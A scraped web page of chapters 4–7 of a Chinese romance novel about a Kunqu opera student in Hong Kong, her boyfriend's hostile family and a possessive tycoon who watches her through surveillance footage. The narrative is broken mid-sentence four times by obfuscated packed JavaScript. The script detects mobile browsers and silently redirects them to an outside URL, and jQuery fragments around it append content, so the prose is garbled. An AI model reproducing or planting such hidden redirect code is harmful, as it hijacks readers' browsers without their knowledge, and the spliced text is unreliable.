d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664659|172940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行李箱走到她身边,扶正伞柄,恰好朋友的车驶来,他招手过来相迎。 “女朋友?” 好友笑着说:“好靓嘅女仔,唔怪得你魂牵梦绕。” 程嘉铎推了他一把:“别瞎说,她害羞。” 好友利索地把车钥匙扔进他怀里:“ok,唔阻你拍拖。”(不打扰你约会) 临上车前,程嘉铎叮嘱道:“今日嘅嘢,唔好同我爸爸妈妈讲。”(今天的事情不要同我爸妈说。) 他忽然转了一口地道粤语,似乎有心避她,温如琢坐在副驾驶系安全带的动作一顿,她垂下眼眸,随即若无其事打开车载导航,输入租房地址。 房子在深水埗的一处居民楼,电梯行至38层,窄小的入户门引入眼前,逼仄,昏暗,过低的层高,让接近一米八的程嘉铎需要稍稍弯腰进入。 这就是名副其实的鸽子笼。 然而,就是这不足400尺的空间仍旧被隔作了两间房,由温如琢和沈绵意共同负担高昂房费。 7月盛夏季,港岛气温也有几分燥热,拎着她沉重的行李箱,程嘉铎上来已经气喘吁吁。 温如琢想倒杯水给他喝,一转头到处空落落,反倒无从下手。 她打算开空调,谁知道遥控器摁下怎么也没有反应,一番动作反倒令空气里浮动的酷夏因子更燥,投以一个抱歉的眼神,她最后只能开了那盏房东好心留下的旧式电风扇。 温如琢顺嘴问刚刚房费多少,要转给他。 程嘉铎目光落在她脸上,一瞬间的无奈一闪而过,他叹了口气,拉着板凳坐到她面前说,“我们是情侣,不用算这么清楚的。” “皎皎,有时候我感觉你我太生疏。” 听到这话,温如琢愣了一下。 她小声解释道:“不是的,只是我不想你总是吃亏。” 程嘉铎家境比她要好太多,港岛本地人,父亲经营一家餐饮公司,母亲在四大从事会计工作,如果不算的明白点,她总是会不知不觉蹭他许多便利。 这有违她爱情的初心。 满打满算他们恋爱也不过一年,正是一个逐渐走向亲密的过程。 程嘉铎低头看着她,修美白皙的天鹅颈微微弯折,纤长睫毛垂下,因为他的话而拢上一点怜色,令人格外不忍心。 他想到初见她,也是因为爱慕这幅至清至纯,格外与众不同的样子。 于是自我检讨道:“没关系,大概因为我太内敛,皎皎,我会试着向你靠近。” “不过你这里看起来治安有点差,说真的,你要不然住我家吧?离学校又近,我爸妈也不经常回来。” “不用,我住在你家不合礼数。”温如琢主动握住他的手,带了点俏皮说,“我还想在叔叔阿姨面前保持一个好形象呢。” 程嘉铎笑着揉了揉她头发。 最后,温如琢叮嘱他:“我住在这里的地址,你不要告诉任何人。” 她万分强调:“记住,是任何人都不可以。” 程嘉铎微笑着应了声好,对她百般纵容。 坐落在翠玉掩映半山腰的周公馆,是由国际享受盛名的园林设计师亲自打造,仿古的中式庄园,依山而建,拾级而上可见园中海棠飘落,百合馥郁,园中假山与清泉辉映,犹如一幅上好的江南水墨画卷。 周思珩坐在一把黑色皮革椅上,手撑下颌,漫不经心看投影画面——恰好投到程嘉铎一张谦润公子温润含笑的脸。 他亦百般纵容为她扶去脸颊边水渍,两人恩爱绵长,好似一对金童玉女。 手里把玩的瑞士军刀跟随他心绪一下又一下落着,周思珩手里捏着一个慈眉善目的观音木雕像。 他不知道自己为什么鬼使神差要来车内的监控录像。 他听见温如琢嗓音糯糯喊了声“阿铎”。 周思珩手上的劲没收住。 慈眉观音断首,他憎恶的心收不住。 5. chapter05 05 唐钰洲进来的时候见到的就是这样一幅画面,不知道重播过多少次的视频,厚重古朴窗帘遮下光源,房间里只开一盏幽暗深长的灯。 倒是很符合某个蛰伏的状态。 但再蛰伏,看上个女人而已,何至于如此大费周章。 唐钰洲说:“如果您喜欢她,我可以将她聘请过来,专程做您的私人助理。” 钱与权利堆出一场梦幻童话,日久生情是天定的事情。 周思珩轻轻嗤笑一声:“她会愿意吗?” “价码堆的够高,没有人会拒绝。” “可我不喜欢强迫。” 周思珩把玩手里的刀,略有些漫不经心说,“要看猎物心甘情愿朝我走过来,这才有趣不是吗?” 唐钰洲恍然大悟:“您对恒庭也是这个计策是吗?所以回国至今才会一直隐忍不发。” 倒也不是。 但周思珩显然觉得自己没有解释的必要,他放下手里的木雕,朝唐钰洲招招手。 “吩咐你做件事,务必要办好。” * 八号台风席卷港岛,温如琢所在的剧团也因此停业整整一星期。 这一星期她没闲着,照常去练功房训练,剩下空余的时间摸索着开了个ins账号,放点排练时候的剧照,权当免费宣传。 这些照片大多出于沈绵意之手,其中有一张她素颜出镜,手若醉红,身若扶柳,正在练某一剧目时的照片被顶上了热榜,拥有百万点赞。 温如琢因此涨了一波粉丝,甚至有人称她为新一代“古典女神”。 突然冒出来的许多喜欢令她惶恐,过高的赞誉盛名也令她无法承受,于是温如琢扔掉手机,停更了几天。 恰好剧团有一出新戏要排练,她敛下心神,全心投入训练中。 那张属于周思珩的名片也被她夹在钱包夹层最底下,用暗无天日来埋葬。 排练前有一个不速之客经过,说是她的粉丝,指名道姓要来见她。 嘴上说是粉丝,却全没有粉丝的姿态,带着两个黑衣保镖站在门口,吵嚷着就要上来。 他们这里是私人舞蹈室,没有授权不可轻易上楼,大堂的保安尽职尽责拦住,反倒惹了骂声。 沈绵意踩着舞蹈鞋蹬蹬蹬爬上楼,把打探来的情况告诉她。 “是仇绍康,港岛知名大浪子,仗着手里有点钱专门喜欢包18线女明星玩。” 沈绵意欲言又止:“他品味……挺统一的,就喜欢你这种清纯女神脸。” “要不然你还是不要下去了,万一真对你一见钟情怎么办?” 沈绵意带着几分开玩笑的语气:“不用太担心啦,楼下有保安,段教授也下去处理了。” 让段梅英一个年仅六旬的老人下去处理这种流氓地痞的刁难? 温如琢不敢想这幅画面,她知道这些仗着家世和钱财的男人有多无理取闹,段梅英这两年身体状况每况愈下,经不得一点儿吵闹。 想到这儿,温如琢丢掉手里的剧本起身。 她说:“既然他想见我,那我就和他见一面。” 仇绍康等在楼下,周围四五个谈不上是助理还是女友的人簇在他身旁,浓烈的香水味令靠近的温如琢眉头下意识一蹙。 她止步,停留在和他很长一段安全距离。 仇绍康原本还一副无所事事的模样,他对劳什子戏曲文化一点兴趣也无,只是偶然一次邮轮聚会,朋友翻到一张ins热图问他感不感兴趣。 他随便看了一眼,笑着夸下海口,“放心,三月内让她从了我。” 其他朋友也笑着追捧他:“仇少,到时候别忘记带来给我们饱饱眼福。” 今天见到本人,他忽然明白什么才是真正的美人,眉目清绝,眼神冷而淡,决然的姿态站在离他很远的地方,宛若高山霜雪,美得纯粹又剔透。 这么一对比,身边围绕着的这些都沦为胭脂俗粉。 仇绍康不耐地赶他们走:“都该干什么干什么去,别围在我身边。” 他转头对温如琢微微屈身,做出一个极具绅士的西方礼节。 “温小姐你好,我是仇绍康。” “是您的爱慕者。” 听着他明显伪装出来的温柔感,温如琢心里忍不住恶寒。 她见过他刚刚趾高气昂的样子,现在装出一幅谦谦君子的模样,无异于披着羊皮的狼,令人胆寒。 她敛下心神,沉声道,“仇先生,您是喜爱我们昆曲文化吗?” “不是啊。”仇绍康挑了下眉,“我是单纯喜欢你这个人。” 他直白而又大胆挑逗:“要不要跟了我?” “一个月我开你十万港币,衣食住行另付,比你在这里打工挣得多。” 温如琢犹如听到天方夜谭愣在原地。 完全是没想到有人装都装不到三秒钟……竟然能如此不要脸说出这一番话,仿若笃定,她一个涉世未深的在读学生必然会接下这根橄榄枝。 忍了又忍,温如琢手心已经掐出指印。 她端起手边的茶水,已经是一副送客姿态。 “抱歉,如果您喜欢昆曲,欢迎您来做我的观众,如果是其他,我并没有任何兴趣,感谢您的抬爱。” 仇绍康面色变了又变,似乎没想到大庭广众之下会有人这样不给他面子。 他心里火气窜上来,触及对方那张冰冷漂亮的脸蛋还是又忍了下去。 只是说:“温小姐气量高,我理解,美人都有几分傲气,但港岛容唔落普通人,一定要量清楚,唔好追悔莫及。” 温如琢双手交叠放在膝上,略显无辜眨眨眼。 “抱歉仇先生,我听不懂粤语,剧团要开始排练了,就此告辞,您也随意。” 这是温如琢所能想到最好的解决办法,在来港岛之前,段梅英就已经找她促膝长谈一番。 港岛繁华最迷他们这些年轻小姑娘的眼睛,段梅英同她说,如果要走艺术这条路,就一定不要被男人的花言巧语迷住眼睛。 温如琢深深把这句话记在心里,仇绍康不是她第一个遇见无理的人,他们这行和娱乐圈沾了点边,有些花名在外点公子哥也喜欢把娱乐圈搞保养的那一套带到她们身上。 好像十年台下功夫,全为了一个男人每个月给点钱。 看不起谁呢。 她扭过头,继续上楼排练,队员还没有到齐,有几个仍然张望在窗边看热闹。 温如琢先去更衣室换了贴身的练功服,一边做点简单的拉伸运动,一边举起手机发消息。 她把那张点赞最高的照片转发给了妈妈,告诉自己在港岛过的还不错,攒够钱不日接她过来。 五分钟后,放在长凳上的手机“叮”一声响。 温如琢把手机接过来看,映入眼帘的,还是一条冷冰冰没有任何感情的回信。 她的妈妈说:「我不来,我已经发誓,这辈子都不入港澳。」 温如琢垂下手,一下不知道该说什么。 她该继续劝说吗?这些年又不是没做过这样徒劳的努力,印象里的母亲也是个完全决绝的女人。 其实在面对程家父母的时候,温如琢有意隐瞒了关于自己家庭的一部分。 她家里不仅仅只是父亲早逝这么简单,早年,她父亲温广秀作为剧团最杰出的武生赴港表演,被人引诱至澳门输掉全部家产,还染上重重烟瘾,也因此废掉一把嗓子,从此疾病缠身,再也不能登台唱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664660|172940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 戏。 这是母亲心病的来源,也是这些年一直郁郁寡欢缠绵病榻的原因之一。 但只有港岛才有最适合她的那位医生,也只有港岛的精心护理才能令她好转,温如琢幽幽叹了口气,心里盘算着还是得让母亲来一趟。 正想着,程嘉铎的信息进场。 他发了一条三秒语音,温如琢眼睛亮了亮,不知为什么胸腔里那颗心猛烈震动起来,她贴着耳边细细听着。 原来是他今晚有一场应酬,要放她的鸽子。 大学课程已经过半,择业就在眼前,程嘉铎和她聊过几次毕业规划,他计划投资一家游戏公司,做相关软件开发,如今正在初创阶段,很是需要投资。 温如琢很能理解一些避不开的酒会和应酬,她欣然同意,并且很快给他发去信息。 想了想,顺手也把那张照片转发过去。 程嘉铎那边大概已经开场,照片发过去以后他很久都没有回。 温如琢心里有小小的失落,恰好音响里放出前奏,排练的锣鼓已经敲响,她立刻丢掉手机,奔赴场地。 他们今天练的是《南柯梦》中的一场,温如琢饰演其中的瑶芳公主,她今天主要练剑舞那一段,长剑在握,身型绰约,一挥一舞之间尽显柔与韧。 舞到最后,段梅英满意地站起来鼓掌。 赞她身段极佳,唱功极好,言语之间,已经钦定她为剧团下一任接班人。 唱戏是件极费力气的活计,更不要提配着双剑舞动的动作,段梅英如今的年纪已经不大有这样好的精力,然而她仍是空手比划,用心教导她。 “挥剑的动作要更果决些,皎皎,你性子太软。” 温如琢点点头,重新握住剑,打算再练一段。 段梅英却牵着她的手往旁边休息室走,擦掉她额头汗水,顺便为她倒上一杯温水,同她闲话家常。 皎皎。 这个小名还是出生当年段梅英来到她家中为她所取,于温如琢而言,和段梅英的关心更像是亦师亦友。 她一生未嫁,所以温如琢情愿做她的女儿。 段梅英对她母亲近况颇为关心,问了两句忽然话音一转,问她有无想法留在港岛。 留在港岛这四个字的分量可太重了,能走的渠道也太多。 温如琢犹豫了一下,对着段梅英的眼睛,却还是将真实想法告诉她。 “我想留在这儿,把我妈妈接过来看病,行业内最权威的柯医生只在香港接诊。” “那可不容易,但我相信你是可以的。” 段梅英微微笑了笑:“港岛戏剧团首席的位置你有意向吗?待遇丰厚,你也能顺利留港。” 学昆曲这一行的,没人没听过港岛戏剧团的名声。 作为港岛最负盛名的歌剧团,坐落在维多利亚港湾一座繁华八角戏楼,每逢三年一次招考,只要最优秀的顶尖人才。 对于现在的她来说,这简直像一步登天的痴念。 她不由惊诧地问:“我可以吗?” “我看温小姐完全可以。” 开放的休息室,被纱帘挡住的巨幅落地窗,一身黑色西装的周思珩缓步走出。 他脸上挂着温和有礼的笑容,眸光像一只鹰,瞬间将她锁定。 温如琢愣怔在原地,完全没想到,隔了许多日以后,他们居然还有见面的机会。 这简直太突然,属于她的安全领地就这样强势的、危险的被霸占。 她忽然无措地盯着他,连目光要移开都忘记。 周思珩歪了下头,似乎有被她这幅呆愣的模样可爱到。 他故意拖长语调,像耐心逗弄宠物的猎手—— “maripaz,我们又见面了。” 6. chapter06 06 温如琢一点也不喜欢这个男人叫她“maripaz”的语调。 原本就是为了国际演出取的一个英文名,他念出来的时候总是慢慢的,像是要把每个字母都咀嚼,也像是要把她拆吃入腹。 他意味深长地问她:“你那个男友呢?” “你为什么在这里?” 没回答他的问题,温如琢倒先抛出一个来,这其实不太礼貌,但面对他,不安的情绪总会压过一切。 周思珩笑了笑,也发现她警惕异常的眼神。 他略有些无辜地挑了下眉毛:“温小姐,何必对我如此提防,我好像也没对你做过一些无理的事情吧。” “我只是让你踹掉男友,方便我上位而已。” 他神情实在太坦荡荡,西装外套上缀满奥地利珍珠的红宝石胸针泠泠折射出一张轻佻孟浪的脸。 “多合法、合理、合规的事。” 周思珩面容含笑,俯下身来,用那双勾人的眸子盯着她看。 “我周思珩在港岛也算有点名声,可做不来小三这种身份。” 怎么会有这样的人! 温如琢简直无法招架他,她又忍不住向后退两步,面对其他人的好涵养都消失,忍不住瞪他一眼。 小声咒骂:“臭流氓。” 她骂人的声音细,脆得像唱歌一样好听。 头一回挨骂的周大公子反倒低低笑了起来,用一种让人跌破眼镜的温柔哄着她。 “骂开心了?” “就当为第一回见的无理赔罪,以后可不许再躲着我了。” 温如琢心里头一惊,不仅仅为这温柔,还为他意料之外的好说话,似乎不管她做什么,他都只有纵容的宠溺。 这种宠溺令她心惊肉跳,往往只有被纳入领地的宠物才能享受的优待,温如琢压根不敢抬头看周思珩落下的眼神。 她支支吾吾的应下,心里头想,港岛如此大,他们哪还有以后见这回事? 周思珩见好就收。 这会倒有分寸地讲正事了。 “我爷爷痴迷于昆曲,也是你师傅的忠实粉丝,因为身体不便无法亲临现场,所以特命我送上一份礼物。” 周思珩巡视四周,挑了下眉毛。 “段教授好像不在,要不然麻烦您代为转交?” 温如琢打眼一看,刚刚还和她说话的段梅英不知道什么时候出去了,她应了声“好”,逐客令下的很明显。 “还有别的事吗,周先生?” 周思珩笑了笑,从助理手边拿出一件东西递给她。 “maripaz,这是给你的礼物。” 他落下的声音低沉缱绻,宛若一把缓缓拉弦的大提琴音,温如琢这一生当中从未遇见过这样矛盾的人。 既有无端的温柔深情,也有高不可攀的倨傲冷漠。 她一下拿不准他的姿态,究竟是真的对她有兴趣,还是只是戏弄? 怀着复杂的心绪,温如琢打开深黑色的礼盒。 是一枚和他胸前同样大小的靛蓝色蝴蝶胸针,蝴蝶振翅欲高飞,却被尾部细细的金链缠住。 然而即便如此,周围缀着的宝石和碎钻,仍然让这只蝴蝶闪耀瞩目。 温如琢立刻拒绝:“抱歉,这太贵重,我不能收。” “对我来说,只是一件寻常的礼物。” 周思珩端详片刻,极满意地“啧”了一声,“我觉得和你很相称。” 温如琢不是会被花言巧语迷惑的女人,天鹅颈高高扬起,她脸上有一丝倔强闪过,似乎心里笃定,绝不要和他产生一点儿纠缠。 周思珩似乎无奈叹了口气,像是妥协一般往后退了一步。 “收下这件礼物吧,我保证半个月不出现在你面前。” 几番抉择之下,温如琢还是收了这件烫手的礼物。 只是彼时的她涉世未深,尚且不知道以退为进这条计谋的妙用,半个月不相见的承诺,其实注定了往后每一天的纠缠。 * 日子相安无事过了一个月,转眼到正式报道的日子。 和国内传统大学不同,港岛戏剧学院不提供任何住宿,来这里攻读的大部分也都是打算留学的富二代艺术生。 还有一批是他们这样从国内风尘仆仆赶过来,略显朴素的联读生。 早上结束开学报道仪式,温如琢电话里婉拒了程嘉铎要来接她放学的好意。 电话里程嘉铎语调拖的长长,明显在和她撒娇。 “怎么啦,是我这个男朋友见不得光吗?” “哪有,我这不是怕你帅的太突出,进来就占尽风头?” 温如琢声音沁了水一样温柔:“好啦,我今天真的有事。” 程嘉铎小声抱怨她:“乖乖,现在都和我有秘密了,去哪里也不告诉我。” 从小到大,温如琢唯一学不会的技能是撒谎。 因为不会撒谎,也不能够告诉程嘉铎今天下午真实的赴约对象,所以在拒绝他邀约的这件事上显得如此生硬。 好在程嘉铎脾气好,从来不计较这么多。 风格清雅的咖啡店,店内放着悠扬的钢琴曲,一袭端庄千金打扮的方咏珊坐在窗边观景最好的位置。 温如琢站在门外,理了理衣摆,有点犹豫,给自己打足了气,终于还是走进去。 谁知进去第一秒,方咏珊说话就令她破防。 她说:“别费心思了,山鸡变不了凤凰,南城来的戏子也别想在港城做得成富太太。” 因为程嘉铎姐姐这个身份,温如琢早已忍耐她多时。 她坐下来,冷淡的语气问,“你今天找我来有什么事吗?” “没什么事就不能找我弟弟的女朋友聊聊天了?” 方咏珊端起咖啡:“这顿我请,买你点时间。” 程家一共两个孩子,大部分事情由程嘉铎的母亲,也就是那位方夫人把持,这也是为什么方咏珊作为程家第一个孩子,能够力排众议跟随母姓。 她也一直以程家大小姐身份自持,谁都不放在眼里。 可惜程家的身份不够高,在一众上层名流圈里排不上号,那些娇生惯养的千金小姐自然也不稀罕搭理她。 所以兜兜转转,那些溢出的虚荣心只好被施加到温如琢身上。 温如琢一直不明白,和别人炫耀自己新得的衣裙以及咬牙买下的奢侈品包包到底有什么意义。 她大多时候敷衍的应和,脑子里默默在背剧本上的词。 今天方咏珊不知道哪根筋搭错,看上去心情不是很好。 一上来就火气很大地问她:“你觉得你和阿铎相配吗?” 温如琢低头抿了一口咖啡,好苦的浓缩美式,她下意识皱眉,放下杯具,略有些不理解地看向方咏珊。 她终于将压抑很久的疑惑问出:“您是不支持我和程嘉铎恋爱吗?” “岂止是我,我们全家都不支持!” 方咏珊不客气道:“阿铎以后是要继承我爸爸公司的,他应该娶一个至少门当户对的妻子,最起码能给他带来事业上的助力。” “而不是像你这种连正经家庭都没有的女人。” 温如琢“噌”的一下站起来:“我的父母都是有正经编制的戏曲从业者,请你说话不要侮辱他们。” 方咏珊没有丝毫退让地说:“那也不磊落,你们家的职业放在以前,就是给大户人家唱戏的婢子。” “我们程家怎么可以让你这样的人进门?” “那这个问题你应该找程嘉铎去谈。” 温如琢昂起头:“愿不愿意和我结婚,是他要做的决定,就算有意见,你们也应该找他,而不是把矛盾转移到我身上。” “怎么,难道因为你们不敢吗?” 她也有两分热血气性,话就这样抛出口,没想到成为点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15664661|172940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 燃方咏珊大小姐脾气的一粒火星。 方咏珊直接爆炸,端起手边的咖啡泼向她上衣——那是一件无比昂贵的真丝衬衫,是温如琢早起为了见程家人特意换的一身妥帖打扮。 现在,这件衬衫毁了,一切都毁了。 温如琢冷静地走出去,她脑子里只有这一个想法,那些忍耐与隐忍,在今天全都变成灰飞烟灭。 她不会在程家那里保持一个得体的形象,当然,也没必要再保持,一个连她父母职业都不认可的家庭,无异于将她从头到脚挑剔到底。 窗外下了绵绵的雨,属于港岛的雨季正式到来。 空气里的气温泛着微微凉意,好像所有失意人的眼泪都涌入。 温如琢走到对街巷子口的台阶上,找了个没人能看见的地方蹲下来哭。 赴港以后所有的委屈都凝结成乌云坠下的雨,她不理解,为什么所有人都要因为她的家庭苛责她。 难道在这座城市,没有金钱、权利和地位,就没有办法生存下去了吗? 难道爱情一定要光鲜亮丽的财富,一定要旗鼓相当的家境? 这是头一回,温如琢感觉到和程嘉铎爱情的前程好灰暗。 从来到港岛的那一天开始,人生就好像进入一个困难副本,遭遇暴风雨的初次登台、咬牙租下的狭窄房间,还有那些为了学费奔波兼职的日夜。 无数的委屈像雨点一样攒聚到心头,渐渐以一场暴风雨的架势坠落。 温如琢放肆地流着眼泪,港岛的坏天气也在哗啦啦的下雨。 与此同时,街的对岸,一辆低调奢华的幻影静静停在路边。 雨打在窗上,她的眼泪却好像打在他的心上。 端坐在后座的周思珩略偏了下头,将目光全部落在她身上。 汇报一半的工作计划,唐钰洲再次卡壳。 他随着周思珩的视线一道看过去,十分了然地想,难怪三十分钟以前,周思珩以晚间有大雨为由提前终止了会议。 他还以为是资本家回心转意,原来还是因为这位温小姐。 作为一名贴心下属,他立刻建议,“周总,您需要现在下车吗?” 岂料周思珩摆摆手,沉声道,“不用,你继续汇报。” 他手里把玩着那只靛蓝色蝴蝶胸针——半月之期刚过的那一天,温如琢亲自奉送进恒庭地产前台。 她跑的是那样快,似乎打定主意不想和他遇见。 想到这里,周思珩溢出一声意味不明的笑。 他扬了扬下巴:“不听话的bad girl总要受一点惩罚。” 眼看是没有工作汇报的心思了,唐钰洲极有眼力见地结束手头工作,不再说多余的话令人烦心。 他摸出手机打开一局消消乐,还没消上几个,就听见自动车门打开,周思珩已然一副要下车的姿态。 雨越下越大,渐渐有倾盆之势,唐钰洲撑着一把伞,手里另拿一把伞,一边走一边内心腹诽:原来您给bad girl 的惩罚就是淋雨一分钟。 …… 温如琢视野之内,最先出现的是那只蝴蝶胸针。 它实在太漂亮,堆满钻石珠宝的闪耀,是任何人都无法拒绝的珍贵。握着它的那只手也很贵气,修长如玉,指节白皙,尾指戴了一枚小小对戒,嵌了一颗红宝石。 她所认知的范围内,只有一个人喜欢红宝石,也只有那一个人足以与这样的宝石相称。 周思珩。 没抬头前,温如琢心里已经默念出这个名字,不知不觉,他居然就这样以强硬姿态在她生活里留下痕迹。 她慢慢抬起头,脸上还挂着眼泪。 周思珩撑着一把黑伞向她倾斜,姿态是那样的漫不经心。 “天上在落雨,你低头在落泪。” 他轻轻“啧”了一声,似乎有点怜惜地看着她说—— “是谁惹你如此心碎?” 7. chapter07 07 温如琢忍不住眨了下眼睛,一副不可思议在这里见到他的样子。 她一眨眼,眼泪就像珍珠一样掉下来,额边垂下的碎发被雨水打湿翘边,还有几分楚楚动人的凌乱感。 周思珩忍不住发笑,半蹲下来,16骨合金黑伞垂下来,将她完全笼罩在一方天地,也遮去所有路人好奇窥探的目光。 他用指腹拂掉她眼角泪珠,漫不经心问,“你那个男友呢?” 在这种时候,温如琢并不是很想听到程嘉铎的名字。 她扭过头,倔强地假装没有听到这个问题。 几乎没有人对周思珩的问话视若无睹,没有被轻视的不快,他纵容地笑了笑。 用一种了然地口气道:“或者上天乸我真心,偌大港岛才叫我哋相遇。”(也许上天不负我真心,偌大港岛才叫我们相遇) 他这句话讲的是纯正地道的港式发音,尾调拖得长长的,显得格外温柔,像温如琢小时候听的tvb港剧男主播的嗓音。 她不大懂粤语,鬼使神差地,却听懂了这一句。 雨还在漫漫地下,雨打在伞面上的声音好比一次史无前例的心动,温如琢仰起头,看着他深情过分的眼眸,忽然觉得这好像爱情片里的某一帧画面。 可惜她并不是这场港式电影里的女主角。 她再度躲开他的目光,被咖啡渍浸透的衬衫,带着水润润的寒意贴近肌肤,这感觉让人很不好受,带着被冒犯的委屈又忍不住啜泣一下。 周思珩没得到她的反馈,却看见雾色朦胧里,她有点儿泛红的耳尖。 哪有这么不经逗的姑娘。 他轻哼一声,故意靠的更近,贴着她耳边道,“你不要再掉眼泪了,我就不说这些惹你脸红心跳的话。” 原来是故意逗她。 温如琢恼怒地回头瞪着他,不知道为什么,所有的好脾气遇见他以后烟消云散。 她一回头,恰巧撞见男人得逞笑容的脸。 周思珩双手抬起,作投降状,耸耸肩,语气无所谓地说,“不用多想,我只是港岛热心市民,怕你的眼泪淹没太平山顶。” 温如琢忍不住被他这句话逗出笑颜。 她哽咽着:“你不要故意逗我笑。” “又哭又笑很难看。” 她一边这样说,一边站起来打算离开,痛哭一场发泄的目的已经达到,接下来也该拍拍衣服重新起航。 正要起身,长久蹲下的晕厥感袭上心头,她眼前一阵发黑,又再度跌了下去。 周思珩眼疾手快扶住她肩头,没等她挣脱,他已经递来一方手帕,绣着一株秀气兰草,染了点微末乌木沉香。 他将她往怀里拢得更深,与此同时,下巴抵住她额头,周思珩深深吐息,好似极为满足。 忽然涌入的热烈气息,温如琢先是惊诧,复又猛烈挣扎,男人的手臂像铁焊一样,紧紧箍住她瘦削肩头。 周思珩的手臂绕过她肩头,像安抚某个易怒的小动物一般,掌心有一搭没一搭拍着她后背。 他低沉嗓音在她耳边落下。 “有娱记。” “如果不想你我明天登上头条新闻,尽管挣扎。” 也是这句话落下,温如琢敏锐的察觉到西北角摄影机闪光灯落下的刹那。 她抿住唇,一下就不挣扎,只是略显僵硬的笼罩在他怀抱里。 温如琢很小声地问他:“那现在怎么办,我们怎么离开?” “你那个男朋友呢?” 周思珩慢悠悠的,反问,“雨这么大,怎么没来接你?” “我没告诉他。” 温如琢视线向外探,忍不住催促问,“记者走了吗?” “这谁知道,这群人像鬼魅,二十四小时盯在我身边。” 周思珩走到她身前,把所有的目光都遮挡,撑的很低的伞将所有景色遮盖,视野内好像只剩下女孩像雾一样的眼。 他偏了下头,发出邀请。 “走吧,带你回去换一身衣服。” 温如琢摇摇头:“我不跟你回去。” 周思珩简直想发笑,他的公馆平日里多少人想进,都得不到一张入场券,今天却频频在她这里落了冷场。 他不恼,脾气在这儿出奇的好。 甚至还有耐心解释一句:“你想太多,只是想带你换一件新衣,家教使然。” “难道温小姐想要这样登上叮叮车,回到歌剧院? 循着周思珩的目光,温如琢看见了自己染上棕色咖啡液的衬衫,掺着雨水往下滴到裤子,因为浸满水,衬衫面料紧紧贴在胸前,隐隐约约能看见最里面内衣的痕迹。 她难为情地咬住下唇,在走和留两个选项之间左右犹豫。 周思珩饶有兴致地等她,一身立挺的黑色风衣,风吹过衣领,他微扬起下颌,半眯着眼,很像出现在街拍镜头的顶级男模。 温如琢还在思量,她是个籍籍无名的小人物,可她身边的周思珩显然不是,她来港岛第一日就听过他的名字。 2.6亿港币拍下鸽红血色无烧红宝石,阔气得令全港岛震惊。 犹豫的天平在摆动,她的视线中忽然出现了一位不速之客——酒吧宿醉醒来的仇绍康。 他还未醒酒,由身边的女伴搀扶着,走路还打直,一歪一扭的,迷迷糊糊看见温如琢站在面前。 呦,美人落泪,正是需要他这位“英雄”出场的时候。 仇绍康伸手打招呼:“温妹妹,好久不见啊。” 听到他的声音,温如琢忍不住一瑟缩,好像今天把所有倒霉的事、糟糕的人都遇见。 她厌恶的表情没逃脱得掉周思珩的眼神,这位叱咤港岛的太子爷慢慢转过身,睥睨的视线慢慢落下来。 仇绍康身边的女伴认出了周思珩的身份。 她们彼此对望一眼,又拉一拉仇绍康的袖口,小声提醒,“是周先生。” “哪个周先生?” 仇绍康眯着眼,头晕的看不清,讲话也没顾忌,“咩油头粉面嘅小生,有几远碌几远。”(什么油头粉面的男人,有多远滚多远。) 他忍不住露了点嘲讽的笑,装什么贞洁烈女,还不是玩欲擒故纵的把戏。 仇绍康直接伸手夺人:“妹妹仔,你同我走。” 他的手甚至还没沾上温如琢的衣袖。 小指骨忽然传来一阵钻心剧痛,仇绍康面容霎时间扭曲,被迫仰着头仰视面前男人。 周思珩漫不经心擦掉手上污渍,睥睨的神态落下来。 似笑非笑问道:“现在,看清楚我是谁了吗?” 仇绍康一个激灵,酒全都醒了。 顾不上手上的疼,他吓的瘫软在地上要告饶,港岛势力错综复杂,不能惹的统共那几家,他怎么就偏偏沾染上这位祖宗? 告饶的话还没来得及说出口,周思珩已经没耐心听他说话。 只见他又侧过身,神色很温柔地问身边的女人—— “你想同他走,还是上我的车?” * 温如琢最终还是选择上周思珩的车。 她清楚,他和仇绍康的区别不过于,一只披着温和谦润羊皮的狼和一只烂到骨子里的恶虫。 她有的选择,又似乎没有选择。 上车之前,周思珩脱掉外衣罩在她身上。 他的衣服很大,恰好能挡住她面容,躲掉记者偷拍。 温如琢摸着布料,脑子里在计算天价洗衣费。 她抿着唇说:“今天多谢你,衣服我洗好还给你。” “你要谢我哪件事?” 周思珩同她一道坐在后座,他伸手摁下升降档板,两手交叠落在黑色西裤,质地上乘的黑色衬衫未系上面两颗纽扣,露出精致锁骨,以及隐约可见的胸肌轮廓。 他身材应当经过正规锻炼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 